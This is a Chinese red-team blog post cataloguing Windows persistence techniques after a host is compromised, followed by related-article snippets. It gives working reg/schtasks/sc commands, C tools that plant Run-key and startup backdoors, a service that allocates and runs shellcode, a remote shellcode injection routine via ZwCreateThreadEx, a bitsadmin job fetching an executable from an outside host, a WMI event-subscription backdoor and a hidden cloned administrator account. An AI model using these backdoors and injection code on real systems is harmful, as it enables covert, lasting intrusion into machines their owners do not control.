<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨 | 最全Windows權限維持總結

    一顆小胡椒2021-07-12 08:33:15

    0x01 前言

    紅隊人員拿到一臺主機權限后首先會考慮將該機器作為一個持久化的據點,種植一個具備持久化的后門,從而隨時可以連接該被控機器進行深入滲透。通俗的說抓到一條魚,不能輕易放走了。

    0x02 輔助功能鏡像劫持

     為了使電腦更易于使用和訪問,Windows 添加了一些輔助功能。這些功能可以在用戶登錄之前以組合鍵啟動。根據這個特征,一些惡意軟件無需登錄到系統,通過遠程桌面協議就可以執行惡意代碼。

    比如最常見的按5下shift出現的粘滯鍵Sethc.exe,還有Windows + U組合鍵時啟動的utilman.exe程序

    還有:

    屏幕鍵盤:C:\Windows\System32\osk.exe放大鏡:C:\Windows\System32\Magnify.exe旁白:C:\Windows\System32\Narrator.exe顯示切換器 C:\Windows\System32\DisplaySwitch.exe應用切換器:C:\Windows\System32\AtBroker.exe
    

    在較早的 Windows 版本,只需要進行簡單的二進制文件替換,比如經典的shift后門是將C:\Windows\System32\sethc.exe替換為cmd.exe。

    windows 2003,XP

    可以可視化界面更換也可以命令行:

    copy c:\windows\system32\sethc.ex c:\windows\system32\sethc1.execopy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
    

     

     

     

     更高版本

    我們需要用到IFEO,即映像劫持

    什么是IFEO

    所謂的IFEO就是Image File Execution Options,直譯過來就是映像劫持。它又被稱為“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是稱呼不同,實際上都是一樣的技術手段。白話來講就是做某個操作的時候被攔截下來,干了別的事。

    當我們雙擊運行程序時,系統會查詢該IFEO注冊表,如果發現存在和該程序名稱完全相同的子鍵,就查詢對應子健中包含的“debugger”鍵值名,如果該參數不為空,系統則會把 Debugger 參數里指定的程序文件名作為用戶試圖啟動的程序執行請求來處理。這樣成功執行的是遭到“劫持”的虛假程序。

    可視化修改

    在iexplorer.exe中加入鍵值對:debugger c:\windows\system32\cmd.exe

    命令行修改

    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
    

    當然,需要管理員權限

    0x03 啟動項/服務后門

    開始菜單啟動項

    開始菜單啟動項,指示啟動文件夾的位置,具體的位置是“開始”菜單中的“所有程序”-“啟動”選項:

    C:\Users\SD\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    

    相關鍵值

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User   Shell FoldersHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell   FoldersHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell   FoldersHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders
    

    重啟后自啟

    由于每臺電腦的快速啟動目錄不同,可以代碼實現

    #include #include 
    #include   #pragma   comment(lib, "shell32.lib")
    BOOL AutoRun_Startup(CHAR* lpszSrcFilePath, CHAR* lpszDestFileName){BOOL ret = false;CHAR szStartPath[MAX_PATH] = { 0 };CHAR szDestFilePath[MAX_PATH] = { 0 };//返回快速啟動目錄路徑到szStartPathret = ::SHGetSpecialFolderPathA(NULL, szStartPath,CSIDL_STARTUP,TRUE);//判斷是否獲取成功if (ret == TRUE){printf("[+]Get the quick start directory successfully!");}else{printf("[!]Get the quick start directory faild!");return FALSE;}//構造文件在快速啟動目錄下的路徑::wsprintfA(szDestFilePath,"%s\\%s",szStartPath,lpszDestFileName);//復制文件到快速啟動目錄下ret = ::CopyFileA(lpszSrcFilePath, szDestFilePath, FALSE);if (FALSE == ret){printf("[!]Failed to save the file in the quick start directory.");return FALSE;}else{printf("[!]Successfully to save the file in the quick start directory.");}printf("[+]Backdoor generation in quick start directory successful!");return TRUE;}int main(int argc, char* argv[]){printf("[*]Useage:    %s %s %s", "Run_StartUp.exe", "E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor.exe");if (argc == 3){AutoRun_Startup(argv[1], argv[2]);}else{printf("[!]Please check the number of your parameters");}}
    

    啟動項注冊表后門

    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
    

    值得注意的是,HKEY_CURRENT_USER的改動不需要管理員權限

    自己寫的一個小工具

    代碼不多,也比較簡單,還是分享出來:

    #include #include 
    BOOL Reg_CurrentUser(const char* lpszFileName,const char* lpszValueName){//定義一個注冊表句柄HKEY hKey;//打開注冊表鍵if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey)){printf("[+] Open RegKey Successfully");}else{printf("[!] Open RegKey Error");return FALSE;}
    if (ERROR_SUCCESS == ::RegSetValueExA(hKey, lpszValueName, 0, REG_SZ, (BYTE*)lpszFileName, (1 + ::lstrlenA(lpszFileName)))){printf("[+] Set Value Successfully");}else{::RegCloseKey(hKey);printf("[!] Set Value Error");return FALSE;}printf("[+] The registry backdoor about HKEY_CURRENT_USER is generated successfully");::RegCloseKey(hKey);return TRUE;}
    int main(int argc, char* argv[]){printf("[*]Useage:    %s %s %s","ModifyReg.exe","E:\\010Editor\\010 Editor\\010Editor.exe", "010Editor");if (argc == 3){Reg_CurrentUser(argv[1], argv[2]);}else{printf("[!]Please check the number of your parameters");}}
    

    而更改HKEY_LOCAL_MACHINE卻是需要管理員權限

     

     

    重啟后exe會自啟,不一定是cmd程序,可以換成我們自己的馬,達到維持權限的效果

    使用命令行

    修改HKLM

    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run   /v "123" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
    

    同樣需要管理員權限,代碼跟上面差不多

    HKEY_CURRENT_USER同理,但不需要管理員權限

    自啟動服務后門

    在 Windows上還有一個重要的機制,也就是服務。服務程序通常默默的運行在后臺,且擁有 SYSTEM 權限,非常適合用于后門持久化。我們可以將 EXE /DLL等可執行文件注冊為服務實現后門持久化。

    可以通過如下命令行方式添加一個服務

    sc create "SD" binpath=   "C:\Users\SD\Desktop\test.exe"sc description "SD"   "description" 設置服務的描述字符串sc config "SD"   start= auto  設置這個服務為自動啟動net start "SD"   啟動服務
    

    也可以直接編寫一個服務,穿插著shellcode上線

    #include #include 
    unsigned char buf[] ="\xfc\xe8\x89\x00\x00...............................................\x36\x38\x2e\x31\x2e\x31\x30\x36\x00\x12\x34\x56\x78";
    #define SLEEP_TIME 5000                          /*間隔時間*/#define LOGFILE "C:\\Windows\\log1.txt"              /*信息輸出文件*/
    SERVICE_STATUS ServiceStatus;  /*服務狀態*/SERVICE_STATUS_HANDLE hStatus; /*服務狀態句柄*/
    void  ServiceMain(int argc, char** argv);void  CtrlHandler(DWORD request);int   InitService();
    int main(int argc, CHAR* argv[]){WCHAR WserviceName[] = TEXT("sddd");SERVICE_TABLE_ENTRY ServiceTable[2];ServiceTable[0].lpServiceName = WserviceName;ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;ServiceTable[1].lpServiceName = NULL;ServiceTable[1].lpServiceProc = NULL;StartServiceCtrlDispatcher(ServiceTable);
    return 0;}
    int WriteToLog(const char* str){FILE* pfile;fopen_s(&pfile, LOGFILE, "a+");if (pfile == NULL){return -1;}fprintf_s(pfile, "%s", str);fclose(pfile);
    return 0;}
    /*Service initialization*/int InitService(){CHAR Message[] = "Monitoring started.";OutputDebugString(TEXT("Monitoring started."));int result;result = WriteToLog(Message);
    return(result);}
    /*Control Handler*/void CtrlHandler(DWORD request){switch (request){case SERVICE_CONTROL_STOP:
    WriteToLog("Monitoring stopped.");ServiceStatus.dwWin32ExitCode = 0;ServiceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus(hStatus, &ServiceStatus);return;case SERVICE_CONTROL_SHUTDOWN:WriteToLog("Monitoring stopped.");
    ServiceStatus.dwWin32ExitCode = 0;ServiceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus(hStatus, &ServiceStatus);return;default:break;}/* Report current status  */SetServiceStatus(hStatus, &ServiceStatus);return;}
    void ServiceMain(int argc, char** argv){WCHAR WserviceName[] = TEXT("sddd");int error;ServiceStatus.dwServiceType =SERVICE_WIN32;ServiceStatus.dwCurrentState =SERVICE_START_PENDING;/*在本例中只接受系統關機和停止服務兩種控制命令*/ServiceStatus.dwControlsAccepted =SERVICE_ACCEPT_SHUTDOWN |SERVICE_ACCEPT_STOP;ServiceStatus.dwWin32ExitCode = 0;ServiceStatus.dwServiceSpecificExitCode = 0;ServiceStatus.dwCheckPoint = 0;ServiceStatus.dwWaitHint = 0;hStatus = ::RegisterServiceCtrlHandler(WserviceName,(LPHANDLER_FUNCTION)CtrlHandler);if (hStatus == (SERVICE_STATUS_HANDLE)0){
    WriteToLog("RegisterServiceCtrlHandler failed");return;}WriteToLog("RegisterServiceCtrlHandler success");/* Initialize Service   */error = InitService();if (error){/* Initialization failed  */ServiceStatus.dwCurrentState =SERVICE_STOPPED;ServiceStatus.dwWin32ExitCode = -1;SetServiceStatus(hStatus, &ServiceStatus);return;}
    LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();
    /*向SCM 報告運行狀態*/ServiceStatus.dwCurrentState =SERVICE_RUNNING;SetServiceStatus(hStatus, &ServiceStatus);
    /*do something you want to do in this while loop*/MEMORYSTATUS memstatus;while (ServiceStatus.dwCurrentState ==SERVICE_RUNNING){char buffer[16];GlobalMemoryStatus(&memstatus);int availmb = memstatus.dwAvailPhys / 1024 / 1024;sprintf_s(buffer, 100, "available memory is %dMB", availmb);int result = WriteToLog(buffer);if (result){ServiceStatus.dwCurrentState = SERVICE_STOPPED;ServiceStatus.dwWin32ExitCode = -1;SetServiceStatus(hStatus,&ServiceStatus);return;}Sleep(SLEEP_TIME);}WriteToLog("service stopped");return;}
    

    這其實也是psexec的原理:建立連接后創建服務反彈shell

    刪除服務:

    sc delete "SD"
    

    0x04 系統計劃任務后門

    Windows實現定時任務主要有schtasks與at二種方式:

    At 適用于windows xp/2003,Schtasks適用于win7/2008或者以后

    每五分鐘執行一次

    schtasks /create /sc minute /mo 5   /tn "sd" /tr C:\Windows\System32\cmd.exe
    

    0x05 DLL劫持

    DLL劫持漏洞之所以被稱為漏洞,還要從負責加載DLL的系統API LoadLibrary 來看。熟悉Windows代 碼的同學都知道,調? LoadLibrary 時可以使?DLL的相對路徑。這時,系統會按照特定的順序搜索? 些?錄,以確定DLL的完整路徑。根據MSDN?檔的約定,在使?相對路徑調? LoadLibrary (同樣適 ?于其他同類DLL LoadLibraryEx,ShellExecuteEx等)時,系統會依次從以下6個位置去查找所需要的 DLL?件(會根據SafeDllSearchMode配置?稍有不同)。

    1. 程序所在?錄。
    2. 加載 DLL 時所在的當前?錄。
    3. 系統?錄即 SYSTEM32 ?錄。
    4. 16位系統?錄即 SYSTEM ?錄。
    5. Windows?錄。
    6. PATH環境變量中列出的?錄

    dll劫持就發?在系統按照順序搜索這些特定?錄時。只要?客能夠將惡意的DLL放在優先于正常DLL所在的?錄,就能夠欺騙系統優先加載惡意DLL,來實現“劫持”。

    在win7及win7以上系統增加了KnownDLLs保護,需要在如下注冊表下添加dll才能順利劫持:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
    

    關于dll劫持的文章有很多,也需要去挖掘,這里推薦一篇文章入門,也是本人寫的:https://www.cnblogs.com/punished/p/14715771.html

    0x06 Winlogon用戶登錄初始化

    winlogon.exe是windows中非常重要的進程,在用戶還沒登錄系統之前就已經存在,并與密碼驗證相關的重要任務精密相關。例如,當在用戶登錄時,Winlogon 進程負責將用戶配置文件加載到注冊表中:

    HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
    

    對這些注冊表項的惡意修改可能導致 Winlogon 加載和執行惡意 DLL 或可執行文件。

    命令行:

    reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /f
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"  /v "Userinit" /t REG_SZ /d "C:\Windows\system32\cmd.exe," /f
    

    可以powershell一句話更改

    Set-ItemProperty   "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name   Userinit -value "C:\Windows\system32\userinit.exe,C:\Windows\system32\cmd.exe"
    

    0x07 Logon Scripts后門

    Windows登錄腳本,當用戶登錄時觸發,Logon Scripts能夠優先于殺毒軟件執行,繞過殺毒軟件對敏感操作的攔截。

    注冊表位置:

    HKEY_CURRENT_USER\Environment
    

    增加鍵值對

     

     

    0x08 文件關聯

    文件關聯就是將一種類型的文件與一個可以打開它的程序建立起一種依存關系,一個文件可以與多個應用程序發生關聯。可以利用文件的"打開方式"進行關聯選擇。

    我們可以用assoc命令顯示或修改文件擴展名關聯,我們可以看一下.txt文件的關聯。

     用ftype命令顯示或修改用在文件擴展名關聯中的文件類型。

    修改\HKEY_CLASS_ROOT\txtfile\shell\open\command的默認值為我們要執行的程序

    修改注冊表(管理員權限):

    reg add "HKCR\txtfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "C:\Windows\system32\cmd.exe %1" /f
    

    再打開txt文件打開的是cmd

    0x09 Bitsadmin

    Windows操作系統包含各種實用程序,系統管理員可以使用它們來執行各種任務。這些實用程序之一是后臺智能傳輸服務(BITS),它可以促進文件到Web服務器(HTTP)和共享文件夾(SMB)的傳輸能力。Microsoft提供了一個名為“ bitsadmin ” 的二進制文件和PowerShell cmdlet,用于創建和管理文件傳輸。

    window7以上自帶

    .\bitsadmin.exe /transfer backdoor /download /priority high "http://192.168.1.106/CM.EXE" C:\1.exe
    

    將文件放入磁盤后,可以通過從“ bitsadmin ”實用程序執行以下命令來實現持久性。

    1. 在創建參數需要作業的名稱
    2. 該addfile需要文件的遠程位置和本地路徑
    3. 該SetNotifyCmdLine將執行的命令
    4. 所述SetMinRetryDelay定義時間回調(秒)
    5. 該簡歷參數將運行位工作。
    bitsadmin /create backdoorbitsadmin /addfile backdoor "http://192.168.1.106/CM.EXE"  "C:\1.exe"bitsadmin /SetNotifyCmdLine backdoorC:\1.exe NULbitsadmin /SetMinRetryDelay "backdoor" 60 bitsadmin /resume backdoor
    

    這里只是隨便找了個exe測試,如果是c2的馬的化可以直接上線

    0x10 進程注入

    之所以把注入也放到權限維持來說,因為注入更加隱蔽,尤其是拿到高權限后,難以被發現

    如果是user權限可以考慮注入exploer.exe 如果是system權限則可以注入winlogon或者lassa

    記一次實戰中的注入,這里是我自己寫的小工具

    關于dll注入網上已經有很多教程,包括突破session 0,使用ZwCreateThreadEx創建一個線程

    同樣還有shellcode注入

    一個demo

    DWORD CeatRemoThread(DWORD pid){HANDLE hThread;DWORD dwOldProtect;DWORD dwThreadId;int shellcode_size = sizeof(buf);//混淆char* newBuf;
    decrypt(buf, shellcode_size, (LPVOID*)&newBuf);
    HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);if (hHandle == NULL){printf("openprocessError");free(newBuf);return FALSE;}LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    SIZE_T dwSize = 0;WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);//Sleep(3000);VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);
    HMODULE hNtdll = LoadLibrary(L"ntdll.dll");if (hNtdll == NULL){printf("[!] LoadNTdll Error,Error is:%d", GetLastError());return FALSE;}else{printf("[*] Load ntdll.dll Successfully!");}#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);#endiftypedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
    if (ZwCreateThreadEx == NULL){printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d", GetLastError());return FALSE;}else{printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x", ZwCreateThreadEx);}HANDLE hRemoteThread = NULL;DWORD ZwRet = 0;ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,(LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
    if (hRemoteThread == NULL){printf("[!] Creat RemoteThread Error,Error is:%d", GetLastError());getchar();VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);CloseHandle(hHandle);FreeLibrary(hNtdll);return FALSE;}WaitForSingleObject(hRemoteThread, INFINITE);
    return TRUE;}
    

    0x11 屏幕保護程序

    利用前提:對方開啟了屏幕保護

    屏幕保護程序,當初的設計是為了防止長期屏幕的顯示,預防老化與縮短屏幕顯示器老化的一種保護程序。

    在對方開啟屏幕保護的情況下,我們可以修改屏保程序為我們的惡意程序從而達到后門持久化的目的,攻擊者可以利用屏幕保護程序來隱藏shell,達到一定的權限維持。

    注冊表位置:

    HKEY_CURRENT_USER\Control Panel\Desktop
    

    命令行修改:

    reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /d C:\Windows\System32\cmd.exe
    

    這里可以改成我們的馬,達到維持權限的效果,具體時間為注冊表的ScreenSaverTimeout值有關

    0x12 WMI構造無文件后門

    WMI是一項Windows管理技術,其全稱是Windows Management Instrumentation,即Windows管理規范。大多數基于Windows的軟件依賴于此服務。

    無文件無進程使得他非常隱蔽成為后門,但由于他的隱蔽性現在被大多數殺軟所查殺。

    通過與Powershell命令配合使用可以實現無文件,具有良好的隱蔽性也是目前較為常用的持久化手段。

    如果展開講會講很久,這里推薦一篇比較詳細的文章:


    https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html
    $filterName = 'SD'$consumerName = 'SDD'$exePath = 'C:\Windows\System32\cmd.exe'$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=200 AND TargetInstance.SystemUpTime < 320"$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
    

    可以使用Autoruns進行查看

     

    0x13 影子用戶

    影子用戶即創建的隱藏用戶,它無法通過普通命令進行查詢,比較隱蔽。

    這里以win10作為演示

    們先利用命令創建一個隱藏用戶,并將其加入本地管理員組。

    net user test$ 123456 /addnet localgroup administrators test$ /add
    

    net user無法查看

    但是可以在計算機管理和登陸頁面中看到

     

     解決辦法:

    打開注冊表:

    HKEY_LOCAL_MACHINE\SAM\SAM

    修改權限:

     

    修改完權限之后,我們重新啟動注冊表即可繼續查看內容。

    查看F值

    導出這三個值

    test$導出為1.reg

    000003EC包含test$用戶的F值,導出另存為2.reg

    000003E9包含WIN10用戶的F值,導出另存為3.reg

    將2.reg中的F值替換為3.reg中的F值,即將test$用戶的F值替換為WIN10用戶的F值

    刪除test$

    net user test$ /del
    

    注冊表就已經無法打開了

     

    導入注冊表


    regedit /s 1.regregedit /s 2.reg
    

    查看效果

    但登錄界面已經沒有賬戶

    3389直接登錄,以test$賬號登錄

    但是登陸之后的身份卻是原來WIN10用戶,桌面也是原用戶的,達到克隆效果。

    總結

    一邊復現一邊寫,發現很多都需要權限,或者說如果有更高的權限能做的事更加的多,包括很多操作現在已經被各種終端設備監控,所以維權實際上是建立在免殺和提權之后的。我總結的可能不太全面,歡迎補充。

    printf注冊表
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    lsass.exe(Local Security Authority Subsystem Service進程空間中,存有著機器的域、本地用戶名和密碼等重要信息。
    COM劫持實戰演示
    2021-10-19 09:40:38
    com劫持前面說了這么多的基礎知識來到今天的正文,首先要了解com組件的加載過程
    在win2012以前的操作系統版本下,由于WDigest將明文儲存到lsass進程中,可以抓取明文密碼。
    代碼框架 想法是盡量用一個通用的注入框架,有異常接收,令牌權限開啟,獲取進程PID的功能
    注冊表在我們的計算機里面,有一些程序是可以設置成開機自啟的,這種程序一般都是采用往注冊表里面添加鍵值指向自己的程序路徑來實現開機自啟在windows里面開機自啟的注冊表路徑如下//用戶級。
    在開始學習Async反向通信之前先來研究一個Sync正向通信案例,不論是正向反向通信其在通信模式上與《驅動開發:通過ReadFile與內核層通信》所介紹的通信模式基本一致,都是通過ReadFile觸發驅動中的IRP_MJ_READ讀取派遣。唯一的區別是在傳輸數據時使用了MmGetSystemAddressForMdl方式,它將給定MDL描述的物理頁面映射到系統空間,并調用RtlCopyMemory()將全局字符串復制到這個空間內,這樣客戶端就可以循環讀取內核傳出的數據。
    惡意軟件為了規避沙盒檢測使用了各種各樣的方法,API Hammering 不會是最后一個,以后也會有各種各樣的變種。
    最近在研究某數字殺軟的時候看到有個配置選項:這個自我保護實際上是加載360SelfProtection.sys驅動(看這名字應該還有360SelfProtection_win10.sys文件),在0環通過hook等手段保護注冊表項,重要進程進程等。
    初探DLL注入
    2023-02-06 10:35:24
    DLL注入是指向運行中的其它進程強制插入特定的DLL文件。從技術細節來說,DLL注入命令其它進程自行調用LoadLibrary()API,加載用戶指定的DLL文件。從上圖可以看到,test.dll已被強制插入進程。加載到某一進程中的test.dll與已經加載到某一進程中的dll一樣,擁有訪問notepad.exe進程內存的權限。DLL被加載到進程后會自動運行DLLMain()函數,用戶可以把想執行的代碼放到DLLMain()函數,每當加載DLL時,添加的代碼就會得到執行。利用這種特性可以修復程序Bug以及添加新功能
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类